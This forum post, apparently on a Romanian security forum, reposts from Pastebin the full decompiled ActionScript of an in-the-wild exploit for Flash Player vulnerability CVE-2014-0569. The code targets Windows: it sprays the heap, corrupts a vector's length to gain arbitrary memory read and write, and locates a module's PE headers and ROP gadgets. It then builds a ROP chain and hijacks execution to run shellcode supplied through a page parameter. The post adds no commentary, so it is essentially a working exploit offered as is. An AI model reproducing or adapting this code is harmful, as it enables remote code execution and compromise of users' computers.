Jump to content
Nytro

Exploit.SWF.CVE-2014-0569 Decoded Code

By Nytro, in Exploituri

Recommended Posts

Nytro Mentor

Nytro

Posted
Posted

[h=1]Exploit.SWF.CVE-2014-0569 Decoded Code[/h]By: physicaldrive0 on Dec 18th, 2014

		 		
[LIST=1]package {
    import flash.events.*;
    import flash.media.*;
    import flash.display.*;
    import flash.geom.*;
    import flash.utils.*;
    import flash.text.*;
    import flash.external.*;
    import flash.system.*;
    import flash.net.*;
    import __AS3__.vec.*;
    import avm2.intrinsics.memory.*;

    public class aeryk extends Sprite {

        private var mort5:Number;
        private var slotl:uint;
        private var larkr:uint = 233495534;
        private var crux1:uint = 200203949;
        private var whys3a:uint = 0x0800;
        private var orlyfx:Vector.<Object>;
        private var bios2t:Vector.<Object>;
        private var vola1:Sound;
        private var pokeg:ByteArray;
        private var magif:Vector.<Object>;
        private var rant2p:uint = 0;
        private var fray6u:Vector.<uint>;
        private var hugh1:uint;
        private var rugau8:uint;
        private var bonom:uint;
        private var gleeuo:uint;
        private var wombu3:uint;
        private var talis0:uint;
        private var dawnod:uint;
        private var fund2:uint;
        private var jump4:uint;
        private var dipseu:uint;
        private var buttkk:uint;
        private var modsj:uint;
        private var sobsft:uint;

        public function aeryk(){
            var _loc2_ = 0;
            this.orlyfx = new Vector.<Object>(this.whys3a);
            this.bios2t = new Vector.<Object>(this.whys3a);
            this.magif = new Vector.<Object>(this.whys3a);
            super();
            var _loc1_ = this.loaderInfo.parameters.kosoz;
            if ((((_loc1_ == null)) || (!(this.pawn2c(116, 150))))){
                return;
            };
            this.vola1 = new Sound();
            this.pokeg = new ByteArray();
            this.pokeg.endian = Endian.LITTLE_ENDIAN;
            this.pokeg.length = 65536;
            this.birdzu();
            try {
                this.want2d(_loc1_);
            } catch(error:Error) {
                return;
            };
            this.pisa8();
            try {
                var _local2 = this.manei();
                _loc2_ = _local2;
                if (_local2 != 0){
                    this.quodo0();
                    return;
                };
                this.textline(1, "point4.5");
                _local2 = this.grity();
                _loc2_ = _local2;
                if (_local2 != 0){
                    this.textline(1, "premature exit, 4.5");
                    this.quodo0();
                    return;
                };
                if (!(this.midin())){
                    this.quodo0();
                    return;
                };
                if (!(this.weilwk())){
                    this.quodo0();
                    return;
                };
                _local2 = this.modo55();
                _loc2_ = _local2;
                if (_local2 != 0){
                    this.quodo0();
                    return;
                };
                this.gadsi();
                this.kahncl();
                this.quodo0();
            } catch(error:Error) {
                textline(2, ((("errormsg: " + error.name) + " ") + error.message));
                return;
            };
        }
        public function textline(lnum:uint, text:String):void{
        }
        public function pawn2c(param1:Number, param2:Number):Boolean{
            var _loc3_ = Capabilities.version.toLowerCase().split(" ");
            if (_loc3_[0] != "win"){
                return (false);
            };
            this.mort5 = Number(_loc3_[1].substr(0, 4).split(",").join(""));
            if ((((this.mort5 < param1)) && ((this.mort5 > param2)))){
                return (false);
            };
            return (true);
        }
        private function birdzu():void{
            this.slotl = 0x90909090;
        }
        public function hexdump(bytes:ByteArray, start:uint=1, length:uint=0):String{
            var byte:int;
            var output:String = "";
            var charbuf:String = "";
            if (start == 0){
                start = 1;
            };
            if ((((length > bytes.length)) || ((length == 0)))){
                length = bytes.length;
            };
            bytes.position = (start - 1);
            var i:int = start;
            while (i < (length + 1)) {
                byte = bytes.readByte();
                if ((((byte > 20)) && ((byte < 123)))){
                    charbuf = (charbuf + String.fromCharCode(byte));
                } else {
                    charbuf = (charbuf + ".");
                };
                output = (output + (this.byte2hex(byte) + " "));
                if ((i % 16) == 0){
                    output = (output + (("\t" + charbuf) + "\n"));
                    charbuf = "";
                };
                i++;
            };
            if ((i % 16) != 0){
                while ((i % 16) != 0) {
                    output = (output + "   ");
                    i++;
                };
                output = (output + "   ");
                output = (output + (("\t" + charbuf) + "\n"));
            };
            return (output);
        }
        public function byte2hex(byte:uint):String{
            var hex:String = "";
            var arr:String = "FEDCBA";
            var i:uint;
            while (i < 2) {
                if (((byte & (240 >> (i * 4))) >> (4 - (i * 4))) > 9){
                    hex = (hex + arr.charAt((15 - ((byte & (240 >> (i * 4))) >> (4 - (i * 4))))));
                } else {
                    hex = (hex + String(((byte & (240 >> (i * 4))) >> (4 - (i * 4)))));
                };
                i++;
            };
            return (hex);
        }
        private function want2d(param1:String):void{
            var _loc4_:uint;
            var _loc5_:uint;
            var _loc6_ = 0;
            var _loc2_ = "_w2fPjM9CaS1b-KWLkcpATG8IuelEJR7ovm3hndqQ5D6XUF0ztgONiyxYrsBV4ZH";
            this.pokeg.position = 1208;
            var _loc3_:uint;
            var n:ByteArray = new ByteArray();
            n.length = (param1.length + 1);
            while (_loc3_ < param1.length) {
                _loc4_ = 0;
                _loc5_ = 0;
                while (_loc5_ < 4) {
                    _loc6_ = _loc2_.indexOf(param1.charAt((_loc3_ + _loc5_)));
                    _loc6_ = (_loc6_ & 63);
                    _loc4_ = (_loc4_ | (_loc6_ << ((3 - _loc5_) * 6)));
                    _loc5_++;
                };
                _loc5_ = 0;
                while (_loc5_ < 3) {
                    this.pokeg.writeByte(((_loc4_ >> ((2 - _loc5_) * 8)) & 0xFF));
                    n[(_loc3_ + _loc5_)] = ((_loc4_ >> ((2 - _loc5_) * 8)) & 0xFF);
                    _loc5_++;
                };
                n[(_loc3_ + _loc5_)] = ((_loc4_ >> ((2 - _loc5_) * 8)) & 0xFF);
                _loc3_ = (_loc3_ + 4);
            };
            this.textline(1, "try hexdump");
            this.textline(3, this.hexdump(this.pokeg, 1208, param1.length));
            this.textline(1, "try done");
        }
        private function pisa8():void{
            var _loc1_:ByteArray;
            var _loc2_:Vector.<uint>;
            var _loc3_:uint;
            _loc3_ = 0;
            while (_loc3_ < this.whys3a) {
                this.magif[_loc3_] = new Vector.<Object>();
                _loc3_++;
            };
            _loc3_ = 0;
            while (_loc3_ < this.whys3a) {
                this.bios2t[_loc3_] = new Vector.<uint>();
                _loc3_++;
            };
            _loc3_ = 0;
            while (_loc3_ < this.whys3a) {
                _loc2_ = (this.bios2t[_loc3_] as Vector.<uint>);
                _loc2_.length = 1022;
                _loc2_[0] = this.crux1;
                _loc2_[1] = _loc3_;
                _loc1_ = new ByteArray();
                _loc1_.length = 0x1000;
                _loc1_.endian = Endian.LITTLE_ENDIAN;
                _loc1_.position = 8;
                _loc1_.writeUnsignedInt(this.larkr);
                _loc1_.writeUnsignedInt(_loc3_);
                this.orlyfx[_loc3_] = _loc1_;
                _loc3_++;
            };
        }
        private function manei():uint{
            var pos:uint;
            var _loc2_:uint;
            var _loc3_:ByteArray;
            var _loc4_:Vector.<uint>;
            pos = uint((this.whys3a / 2));
            var startpos:uint = pos;
            while (pos < this.whys3a) {
                _loc3_ = (this.orlyfx[pos] as ByteArray);
                ApplicationDomain.currentDomain.domainMemory = _loc3_;
                _loc3_.atomicCompareAndSwapLength(0x1000, 0);
                if (casi32(0x1000, 1022, 0x40000001) == 1022){
                    _loc2_ = (uint((this.whys3a / 2)) - 0x0100);
                    while (_loc2_ < this.whys3a) {
                        _loc4_ = (this.bios2t[_loc2_] as Vector.<uint>);
                        if (_loc4_.length == 0x40000001){
                            this.fray6u = _loc4_;
                            return (0);
                        };
                        _loc2_++;
                    };
                };
                pos++;
            };
            return (1);
        }
        private function quodo0():void{
            if (this.fray6u){
                if (((this.bonom) && (this.gleeuo))){
                    this.sacs1y(this.bonom, this.gleeuo);
                };
                if (this.rugau8){
                    this.fray6u[1073741823] = this.rugau8;
                };
                this.fray6u[1073741822] = 1022;
            } else {
                do  {
                } while (1);
            };
        }
        public function fullk(param1:uint, param2:uint, param3:uint):uint{
            var _loc4_:uint = (param1 >>> (8 * param3));
            var _loc5_:uint = (((param3 == 0)) ? 0 : (param2 << ((4 - param3) * 8)));
            return ((_loc5_ | _loc4_));
        }
        public function intog(param1:uint):uint{
            var _loc2_:uint;
            var _loc3_:uint = (param1 % 4);
            param1 = (param1 - _loc3_);
            if (param1 >= this.hugh1){
                _loc2_ = (((param1 - this.hugh1) - 8) / 4);
            } else {
                _loc2_ = (0x40000000 - (((this.hugh1 + 8) - param1) / 4));
            };
            var _loc4_:uint = this.fray6u[_loc2_];
            if (_loc3_ == 0){
                return (_loc4_);
            };
            var _loc5_:uint = this.fray6u[(_loc2_ + 1)];
            return (this.fullk(_loc4_, _loc5_, _loc3_));
        }
        public function sacs1y(param1:uint, param2:uint):void{
            var _loc3_:uint;
            if (param1 >= this.hugh1){
                _loc3_ = (((param1 - this.hugh1) - 8) / 4);
            } else {
                _loc3_ = (0x40000000 - (((this.hugh1 + 8) - param1) / 4));
            };
            this.fray6u[_loc3_] = param2;
        }
        private function boobe():void{
            var _loc2_:Vector.<Object>;
            var _loc1_:uint;
            while ((((_loc1_ < 30)) && ((this.rant2p < this.whys3a)))) {
                _loc2_ = (this.magif[this.rant2p] as Vector.<Object>);
                _loc2_.length = 30;
                _loc2_[1] = this.vola1;
                _loc2_[2] = this.pokeg;
                this.rant2p++;
                _loc1_++;
            };
        }
        private function grity():uint{
            var _loc1_:uint;
            var _loc2_:uint;
            var _loc3_:uint;
            var _loc4_:ByteArray;
            var _loc5_:uint;
            var _loc6_:uint;
            var _loc7_:uint;
            _loc1_ = 1;
            while (_loc1_ < 16) {
                _loc2_ = (_loc1_ * 0x0400);
                if (((!(this.hugh1)) && ((this.fray6u[_loc2_] == this.larkr)))){
                    _loc3_ = this.fray6u[(_loc2_ + 1)];
                    _loc4_ = (this.orlyfx[_loc3_] as ByteArray);
                    _loc4_.clear();
                    _loc5_ = 0;
                    while (this.fray6u[_loc2_] == this.larkr) {
                        this.boobe();
                        if (_loc5_ == 30){
                            return (5);
                        };
                        _loc5_++;
                    };
                    if (((((!((this.fray6u[_loc2_] ==  this.larkr))) && ((this.fray6u[(((this.mort5 <= 111)) ?  (_loc2_ + 2) : (_loc2_ - 1))] == 128)))) && (!(((_loc6_ =  this.fray6u[(_loc2_ + 9)]) == 0))))){
                        this.hugh1 = ((_loc6_ & 0xFFFFF000) - (_loc1_ * 0x1000));
                        if (this.hugh1 < 65536){
                            return (6);
                        };
                        if ((((((this.intog((_loc6_ +  4)) == 30)) && ((this.intog((_loc6_ + 8)) == 1)))) &&  ((this.intog((_loc6_ + 20)) == 1)))){
                            this.bonom = (this.intog((_loc6_ + 12)) & 0xFFFFFFF8);
                            this.gleeuo = this.intog(this.bonom);
                            _loc7_ = (this.intog((_loc6_ + 16)) & 0xFFFFFFF8);
                            if (this.mort5 < 114){
                                this.wombu3 = this.intog((_loc7_ + 56));
                            } else {
                                _loc7_ = this.intog((_loc7_ + 64));
                                this.wombu3 = this.intog((_loc7_ + 8));
                            };
                        } else {
                            return (7);
                        };
                    };
                } else {
                    if (((!(this.rugau8)) && ((this.fray6u[_loc2_] == this.crux1)))){
                        this.rugau8 = this.fray6u[(_loc2_ - 1)];
                    };
                };
                if (((this.hugh1) && (this.rugau8))){
                    return (0);
                };
                _loc1_++;
            };
            if (((!(this.hugh1)) && (!(this.rugau8)))){
                return (1);
            };
            if (!(this.hugh1)){
                return (2);
            };
            if (!(this.rugau8)){
                return (3);
            };
            return (4);
        }
        public function midin():Boolean{
            var _loc1_:uint = (this.gleeuo & 0xFFFF0000);
            while ((this.intog(_loc1_) & 0xFFFF) != 23117) {
                _loc1_ = (_loc1_ - 65536);
            };
            this.talis0 = _loc1_;
            if (this.talis0){
                this.dawnod = (this.talis0 + this.intog((this.talis0 + 60)));
                if ((this.intog(this.dawnod) & 0xFFFF) == 17744){
                    return (true);
                };
            };
            return (false);
        }
        public function weilwk():Boolean{
            var _loc3_:uint;
            var _loc4_:uint;
            var _loc5_:uint;
            var _loc6_:uint;
            var _loc7_:uint;
            var _loc8_:uint;
            var _loc1_:uint = this.intog((this.dawnod + 28));
            var _loc2_:uint = this.intog((this.dawnod + 44));
            if (((_loc1_) && (_loc2_))){
                _loc2_ = (_loc2_ + this.talis0);
                _loc3_ = this.intog(_loc2_);
                _loc4_ = 4;
                while (_loc4_ < _loc1_) {
                    _loc5_ = this.intog((_loc2_ + _loc4_));
                    _loc6_ = 0;
                    while (_loc6_ < 4) {
                        _loc7_ = this.fullk(_loc3_, _loc5_, _loc6_);
                        _loc8_ = (_loc7_ & 0xFFFF);
                        if (((!(this.fund2)) && ((_loc8_ == 50068)))){
                            this.fund2 = (((_loc2_ + _loc4_) - 4) + _loc6_);
                        };
                        if (((!(this.jump4)) && ((_loc8_ == 50009)))){
                            this.jump4 = (((_loc2_ + _loc4_) - 4) + _loc6_);
                        };
                        if (((!(this.dipseu)) && ((_loc8_ == 49992)))){
                            this.dipseu = (((_loc2_ + _loc4_) - 4) + _loc6_);
                        };
                        if (((!(this.modsj)) && ((_loc8_ == 50000)))){
                            this.modsj = (((_loc2_ + _loc4_) - 4) + _loc6_);
                        };
                        if (((!(this.buttkk)) && ((_loc7_ == 3277654153)))){
                            this.buttkk = (((_loc2_ + _loc4_) - 4) + _loc6_);
                        };
                        _loc6_++;
                    };
                    _loc3_ = _loc5_;
                    if (((((((((this.fund2) &&  (this.jump4))) && (this.dipseu))) && (this.buttkk)))  && (this.modsj))){
                        return (true);
                    };
                    _loc4_ = (_loc4_ + 4);
                };
            };
            return (false);
        }
        public function modo55():uint{
            var _loc2_:uint;
            var _loc3_:uint;
            var _loc4_:uint;
            var _loc5_:uint;
            var _loc6_:uint;
            var _loc7_:uint;
            var _loc1_:uint = (this.talis0 + this.intog((this.dawnod + 128)));
            while (true) {
                _loc2_ = this.intog(_loc1_);
                if (_loc2_ == 0){
                    break;
                };
                _loc3_ = (this.talis0 + this.intog((_loc1_ + 12)));
                if (((((this.intog(_loc3_) &  1314014539) == 1314014539)) && (((this.intog((_loc3_ + 4)) &  842222661) == 842222661)))){
                    _loc4_ = 0;
                    _loc2_ = (_loc2_ + this.talis0);
                    while (true) {
                        _loc5_ = this.intog(_loc2_);
                        if (_loc5_ == 0){
                            break;
                        };
                        _loc6_ = ((this.talis0 + _loc5_) + 2);
                        if ((((((this.intog(_loc6_) ==  1953655126)) && ((this.intog((_loc6_ + 4)) == 1097621877))))  && ((this.intog((_loc6_ + 8)) == 1668246636)))){
                            _loc7_ = (this.talis0 + this.intog((_loc1_ + 16)));
                            this.sobsft = this.intog((_loc7_ + (_loc4_ * 4)));
                            return ((((this.sobsft == 0)) ? 4 : 0));
                        };
                        _loc2_ = (_loc2_ + 4);
                        _loc4_++;
                    };
                    return (3);
                };
                _loc1_ = (_loc1_ + 20);
            };
            return (2);
        }
        private function gadsi():void{
            this.pokeg.position = 0;
            var _loc1_:uint;
            while (_loc1_ < 27) {
                this.pokeg.writeUnsignedInt((this.jump4 + 1));
                _loc1_++;
            };
            this.pokeg.writeUnsignedInt(this.jump4);
            this.pokeg.writeUnsignedInt(this.fund2);
            this.pokeg.writeUnsignedInt(this.dipseu);
            this.pokeg.writeUnsignedInt(this.dipseu);
            this.pokeg.writeUnsignedInt(this.dipseu);
            this.pokeg.writeUnsignedInt(this.dipseu);
            this.pokeg.writeUnsignedInt(this.jump4);
            this.pokeg.writeUnsignedInt(this.modsj);
            this.pokeg.writeUnsignedInt(this.buttkk);
            this.pokeg.writeUnsignedInt(0x41414141);
            this.pokeg.writeUnsignedInt(this.dipseu);
            this.pokeg.writeUnsignedInt(this.dipseu);
            this.pokeg.writeUnsignedInt(this.dipseu);
            this.pokeg.writeUnsignedInt(this.dipseu);
            this.pokeg.writeUnsignedInt(this.jump4);
            this.pokeg.writeUnsignedInt(this.slotl);
            this.pokeg.writeUnsignedInt(this.buttkk);
            this.pokeg.writeUnsignedInt(0x41414141);
            this.pokeg.writeUnsignedInt(this.dipseu);
            this.pokeg.writeUnsignedInt(this.dipseu);
            this.pokeg.writeUnsignedInt(this.dipseu);
            this.pokeg.writeUnsignedInt(this.dipseu);
            this.pokeg.writeUnsignedInt(this.jump4);
            this.pokeg.writeUnsignedInt(this.jump4);
            this.pokeg.writeUnsignedInt(this.buttkk);
            this.pokeg.writeUnsignedInt(0x41414141);
            this.pokeg.writeUnsignedInt(this.dipseu);
            this.pokeg.writeUnsignedInt(this.dipseu);
            this.pokeg.writeUnsignedInt(this.dipseu);
            this.pokeg.writeUnsignedInt(this.dipseu);
            this.pokeg.writeUnsignedInt(this.jump4);
            this.pokeg.writeUnsignedInt((this.wombu3 + 1208));
            this.pokeg.writeUnsignedInt(this.buttkk);
            this.pokeg.writeUnsignedInt(0x41414141);
            this.pokeg.writeUnsignedInt(this.dipseu);
            this.pokeg.writeUnsignedInt(this.dipseu);
            this.pokeg.writeUnsignedInt(this.dipseu);
            this.pokeg.writeUnsignedInt(this.dipseu);
            this.pokeg.writeUnsignedInt(this.jump4);
            this.pokeg.writeUnsignedInt(this.buttkk);
            this.pokeg.writeUnsignedInt(this.buttkk);
            this.pokeg.writeUnsignedInt(0x41414141);
            this.pokeg.writeUnsignedInt(this.dipseu);
            this.pokeg.writeUnsignedInt(this.dipseu);
            this.pokeg.writeUnsignedInt(this.dipseu);
            this.pokeg.writeUnsignedInt(this.dipseu);
            this.pokeg.writeUnsignedInt(this.jump4);
            this.pokeg.writeUnsignedInt(276335968);
            this.pokeg.writeUnsignedInt(this.buttkk);
            this.pokeg.writeUnsignedInt(0x41414141);
            this.pokeg.writeUnsignedInt(this.dipseu);
            this.pokeg.writeUnsignedInt(this.dipseu);
            this.pokeg.writeUnsignedInt(this.dipseu);
            this.pokeg.writeUnsignedInt(this.dipseu);
            this.pokeg.writeUnsignedInt(this.jump4);
            this.pokeg.writeUnsignedInt(this.jump4);
            this.pokeg.writeUnsignedInt(this.buttkk);
            this.pokeg.writeUnsignedInt(0x41414141);
            this.pokeg.writeUnsignedInt(this.dipseu);
            this.pokeg.writeUnsignedInt(this.dipseu);
            this.pokeg.writeUnsignedInt(this.dipseu);
            this.pokeg.writeUnsignedInt(this.dipseu);
            this.pokeg.writeUnsignedInt(this.jump4);
            this.pokeg.writeUnsignedInt(this.modsj);
            this.pokeg.writeUnsignedInt(this.buttkk);
            this.pokeg.writeUnsignedInt(0x41414141);
            this.pokeg.writeUnsignedInt(this.dipseu);
            this.pokeg.writeUnsignedInt(this.dipseu);
            this.pokeg.writeUnsignedInt(this.dipseu);
            this.pokeg.writeUnsignedInt(this.dipseu);
            this.pokeg.writeUnsignedInt(this.jump4);
            this.pokeg.writeUnsignedInt(3242323591);
            this.pokeg.writeUnsignedInt(this.buttkk);
            this.pokeg.writeUnsignedInt(0x41414141);
            this.pokeg.writeUnsignedInt(this.dipseu);
            this.pokeg.writeUnsignedInt(this.dipseu);
            this.pokeg.writeUnsignedInt(this.dipseu);
            this.pokeg.writeUnsignedInt(this.dipseu);
            this.pokeg.writeUnsignedInt(this.jump4);
            this.pokeg.writeUnsignedInt(this.jump4);
            this.pokeg.writeUnsignedInt(this.buttkk);
            this.pokeg.writeUnsignedInt(0x41414141);
            this.pokeg.writeUnsignedInt(this.dipseu);
            this.pokeg.writeUnsignedInt(this.dipseu);
            this.pokeg.writeUnsignedInt(this.dipseu);
            this.pokeg.writeUnsignedInt(this.dipseu);
            this.pokeg.writeUnsignedInt(this.jump4);
            this.pokeg.writeUnsignedInt(0x41414141);
            this.pokeg.writeUnsignedInt(this.buttkk);
            this.pokeg.writeUnsignedInt(0x41414141);
            this.pokeg.writeUnsignedInt(this.dipseu);
            this.pokeg.writeUnsignedInt(this.dipseu);
            this.pokeg.writeUnsignedInt(this.dipseu);
            this.pokeg.writeUnsignedInt(this.dipseu);
            this.pokeg.writeUnsignedInt(this.jump4);
            this.pokeg.writeUnsignedInt(this.buttkk);
            this.pokeg.writeUnsignedInt(this.buttkk);
            this.pokeg.writeUnsignedInt(0x41414141);
            this.pokeg.writeUnsignedInt(this.dipseu);
            this.pokeg.writeUnsignedInt(this.dipseu);
            this.pokeg.writeUnsignedInt(this.dipseu);
            this.pokeg.writeUnsignedInt(this.dipseu);
            this.pokeg.writeUnsignedInt(this.jump4);
            this.pokeg.writeUnsignedInt(3271837833);
            this.pokeg.writeUnsignedInt(this.buttkk);
            this.pokeg.writeUnsignedInt(0x41414141);
            this.pokeg.writeUnsignedInt(this.dipseu);
            this.pokeg.writeUnsignedInt(this.dipseu);
            this.pokeg.writeUnsignedInt(this.dipseu);
            this.pokeg.writeUnsignedInt(this.dipseu);
            this.pokeg.writeUnsignedInt(this.jump4);
            this.pokeg.writeUnsignedInt(this.jump4);
            this.pokeg.writeUnsignedInt(this.buttkk);
            this.pokeg.writeUnsignedInt(0x41414141);
            this.pokeg.writeUnsignedInt(this.dipseu);
            this.pokeg.writeUnsignedInt(this.dipseu);
            this.pokeg.writeUnsignedInt(this.dipseu);
            this.pokeg.writeUnsignedInt(this.dipseu);
            this.pokeg.writeUnsignedInt(this.jump4);
            this.pokeg.writeUnsignedInt(this.modsj);
            this.pokeg.writeUnsignedInt(this.buttkk);
            this.pokeg.writeUnsignedInt(0x41414141);
            this.pokeg.writeUnsignedInt(this.dipseu);
            this.pokeg.writeUnsignedInt(this.dipseu);
            this.pokeg.writeUnsignedInt(this.dipseu);
            this.pokeg.writeUnsignedInt(this.dipseu);
            this.pokeg.writeUnsignedInt(this.jump4);
            this.pokeg.writeUnsignedInt(833423561);
            this.pokeg.writeUnsignedInt(this.buttkk);
            this.pokeg.writeUnsignedInt(0x41414141);
            this.pokeg.writeUnsignedInt(this.dipseu);
            this.pokeg.writeUnsignedInt(this.dipseu);
            this.pokeg.writeUnsignedInt(this.dipseu);
            this.pokeg.writeUnsignedInt(this.dipseu);
            this.pokeg.writeUnsignedInt(this.jump4);
            this.pokeg.writeUnsignedInt(this.jump4);
            this.pokeg.writeUnsignedInt(this.buttkk);
            this.pokeg.writeUnsignedInt(0x41414141);
            this.pokeg.writeUnsignedInt(this.dipseu);
            this.pokeg.writeUnsignedInt(this.dipseu);
            this.pokeg.writeUnsignedInt(this.dipseu);
            this.pokeg.writeUnsignedInt(this.dipseu);
            this.pokeg.writeUnsignedInt(this.jump4);
            this.pokeg.writeUnsignedInt(0x41414141);
            this.pokeg.writeUnsignedInt(this.buttkk);
            this.pokeg.writeUnsignedInt(0x41414141);
            this.pokeg.writeUnsignedInt(this.dipseu);
            this.pokeg.writeUnsignedInt(this.dipseu);
            this.pokeg.writeUnsignedInt(this.dipseu);
            this.pokeg.writeUnsignedInt(this.dipseu);
            this.pokeg.writeUnsignedInt(this.jump4);
            this.pokeg.writeUnsignedInt(this.buttkk);
            this.pokeg.writeUnsignedInt(this.buttkk);
            this.pokeg.writeUnsignedInt(0x41414141);
            this.pokeg.writeUnsignedInt(this.dipseu);
            this.pokeg.writeUnsignedInt(this.dipseu);
            this.pokeg.writeUnsignedInt(this.dipseu);
            this.pokeg.writeUnsignedInt(this.dipseu);
            this.pokeg.writeUnsignedInt(this.jump4);
            this.pokeg.writeUnsignedInt(3272099977);
            this.pokeg.writeUnsignedInt(this.buttkk);
            this.pokeg.writeUnsignedInt(0x41414141);
            this.pokeg.writeUnsignedInt(this.dipseu);
            this.pokeg.writeUnsignedInt(this.dipseu);
            this.pokeg.writeUnsignedInt(this.dipseu);
            this.pokeg.writeUnsignedInt(this.dipseu);
            this.pokeg.writeUnsignedInt(this.jump4);
            this.pokeg.writeUnsignedInt(this.jump4);
            this.pokeg.writeUnsignedInt(this.buttkk);
            this.pokeg.writeUnsignedInt(0x41414141);
            this.pokeg.writeUnsignedInt(this.dipseu);
            this.pokeg.writeUnsignedInt(this.dipseu);
            this.pokeg.writeUnsignedInt(this.dipseu);
            this.pokeg.writeUnsignedInt(this.dipseu);
            this.pokeg.writeUnsignedInt(this.jump4);
            this.pokeg.writeUnsignedInt(this.modsj);
            this.pokeg.writeUnsignedInt(this.buttkk);
            this.pokeg.writeUnsignedInt(0x41414141);
            this.pokeg.writeUnsignedInt(this.dipseu);
            this.pokeg.writeUnsignedInt(this.dipseu);
            this.pokeg.writeUnsignedInt(this.dipseu);
            this.pokeg.writeUnsignedInt(this.dipseu);
            this.pokeg.writeUnsignedInt(this.jump4);
            this.pokeg.writeUnsignedInt(4134906824);
            this.pokeg.writeUnsignedInt(this.buttkk);
            this.pokeg.writeUnsignedInt(0x41414141);
            this.pokeg.writeUnsignedInt(this.dipseu);
            this.pokeg.writeUnsignedInt(this.dipseu);
            this.pokeg.writeUnsignedInt(this.dipseu);
            this.pokeg.writeUnsignedInt(this.dipseu);
            this.pokeg.writeUnsignedInt(this.jump4);
            this.pokeg.writeUnsignedInt(this.jump4);
            this.pokeg.writeUnsignedInt(this.buttkk);
            this.pokeg.writeUnsignedInt(0x41414141);
            this.pokeg.writeUnsignedInt(this.dipseu);
            this.pokeg.writeUnsignedInt(this.dipseu);
            this.pokeg.writeUnsignedInt(this.dipseu);
            this.pokeg.writeUnsignedInt(this.dipseu);
            this.pokeg.writeUnsignedInt(this.jump4);
            this.pokeg.writeUnsignedInt(0x41414141);
            this.pokeg.writeUnsignedInt(this.buttkk);
            this.pokeg.writeUnsignedInt(0x41414141);
            this.pokeg.writeUnsignedInt(this.dipseu);
            this.pokeg.writeUnsignedInt(this.dipseu);
            this.pokeg.writeUnsignedInt(this.dipseu);
            this.pokeg.writeUnsignedInt(this.dipseu);
            this.pokeg.writeUnsignedInt(this.jump4);
            this.pokeg.writeUnsignedInt(this.buttkk);
            this.pokeg.writeUnsignedInt(this.buttkk);
            this.pokeg.writeUnsignedInt(0x41414141);
            this.pokeg.writeUnsignedInt(this.dipseu);
            this.pokeg.writeUnsignedInt(this.dipseu);
            this.pokeg.writeUnsignedInt(this.dipseu);
            this.pokeg.writeUnsignedInt(this.dipseu);
            this.pokeg.writeUnsignedInt(this.jump4);
            this.pokeg.writeUnsignedInt(3272362121);
            this.pokeg.writeUnsignedInt(this.buttkk);
            this.pokeg.writeUnsignedInt(0x41414141);
            this.pokeg.writeUnsignedInt(this.dipseu);
            this.pokeg.writeUnsignedInt(this.dipseu);
            this.pokeg.writeUnsignedInt(this.dipseu);
            this.pokeg.writeUnsignedInt(this.dipseu);
            this.pokeg.writeUnsignedInt(this.jump4);
            this.pokeg.writeUnsignedInt(this.jump4);
            this.pokeg.writeUnsignedInt(this.buttkk);
            this.pokeg.writeUnsignedInt(0x41414141);
            this.pokeg.writeUnsignedInt(this.dipseu);
            this.pokeg.writeUnsignedInt(this.dipseu);
            this.pokeg.writeUnsignedInt(this.dipseu);
            this.pokeg.writeUnsignedInt(this.dipseu);
            this.pokeg.writeUnsignedInt(this.jump4);
            this.pokeg.writeUnsignedInt(64);
            this.pokeg.writeUnsignedInt(this.buttkk);
            this.pokeg.writeUnsignedInt(0x41414141);
            this.pokeg.writeUnsignedInt(this.dipseu);
            this.pokeg.writeUnsignedInt(this.dipseu);
            this.pokeg.writeUnsignedInt(this.dipseu);
            this.pokeg.writeUnsignedInt(this.dipseu);
            this.pokeg.writeUnsignedInt(this.jump4);
            this.pokeg.writeUnsignedInt(0x1000);
            this.pokeg.writeUnsignedInt(this.buttkk);
            this.pokeg.writeUnsignedInt(0x41414141);
            this.pokeg.writeUnsignedInt(this.dipseu);
            this.pokeg.writeUnsignedInt(this.dipseu);
            this.pokeg.writeUnsignedInt(this.dipseu);
            this.pokeg.writeUnsignedInt(this.dipseu);
            this.pokeg.writeUnsignedInt(this.jump4);
            this.pokeg.writeUnsignedInt(0x1000);
            this.pokeg.writeUnsignedInt(this.buttkk);
            this.pokeg.writeUnsignedInt(0x41414141);
            this.pokeg.writeUnsignedInt(this.dipseu);
            this.pokeg.writeUnsignedInt(this.dipseu);
            this.pokeg.writeUnsignedInt(this.dipseu);
            this.pokeg.writeUnsignedInt(this.dipseu);
            this.pokeg.writeUnsignedInt(this.jump4);
            this.pokeg.writeUnsignedInt(0);
            this.pokeg.writeUnsignedInt(this.buttkk);
            this.pokeg.writeUnsignedInt(0x41414141);
            this.pokeg.writeUnsignedInt(this.dipseu);
            this.pokeg.writeUnsignedInt(this.dipseu);
            this.pokeg.writeUnsignedInt(this.dipseu);
            this.pokeg.writeUnsignedInt(this.dipseu);
            this.pokeg.writeUnsignedInt(this.jump4);
            this.pokeg.writeUnsignedInt((this.jump4 + 1));
            this.pokeg.writeUnsignedInt(this.buttkk);
            this.pokeg.writeUnsignedInt(0x41414141);
            this.pokeg.writeUnsignedInt(this.dipseu);
            this.pokeg.writeUnsignedInt(this.dipseu);
            this.pokeg.writeUnsignedInt(this.dipseu);
            this.pokeg.writeUnsignedInt(this.dipseu);
            this.pokeg.writeUnsignedInt(this.jump4);
            this.pokeg.writeUnsignedInt(this.sobsft);
            this.pokeg.writeUnsignedInt(this.buttkk);
            this.pokeg.writeUnsignedInt(0x41414141);
            this.pokeg.writeUnsignedInt(this.fund2);
        }
        private function kahncl():void{
            this.sacs1y(this.bonom, this.wombu3);
            new Number(this.vola1.toString());
        }

    }
}//package
[/LIST]


Sursa: Exploit.SWF.CVE-2014-0569 Decoded Code - Pastebin.com

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

×
Go to topic listing
×
×
  • Create New...